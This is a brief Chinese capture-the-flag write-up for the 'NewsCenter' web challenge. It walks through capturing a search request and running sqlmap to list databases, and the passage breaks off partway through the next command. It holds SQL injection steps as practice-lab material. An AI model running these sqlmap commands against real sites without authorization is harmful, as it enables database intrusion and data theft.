攻防世界web高階2分題（NewsCenter）

讀題 發現是一個搜索框，覺得是個sql注入 隨便輸入什麼，我這裏輸入aaa，然後抓包 PS：一定要抓搜索後的包 然後將抓到的包保存在桌面1.txt 然後用sqlmap注入 1、查找數據庫 python sqlmap.py -r D:\360data\重要數據\桌面\1.txt --dbs 2、查找news下的表 python sqlmap.py -r D:\360data\重要數據\桌面\1.tx

>>阅读原文<<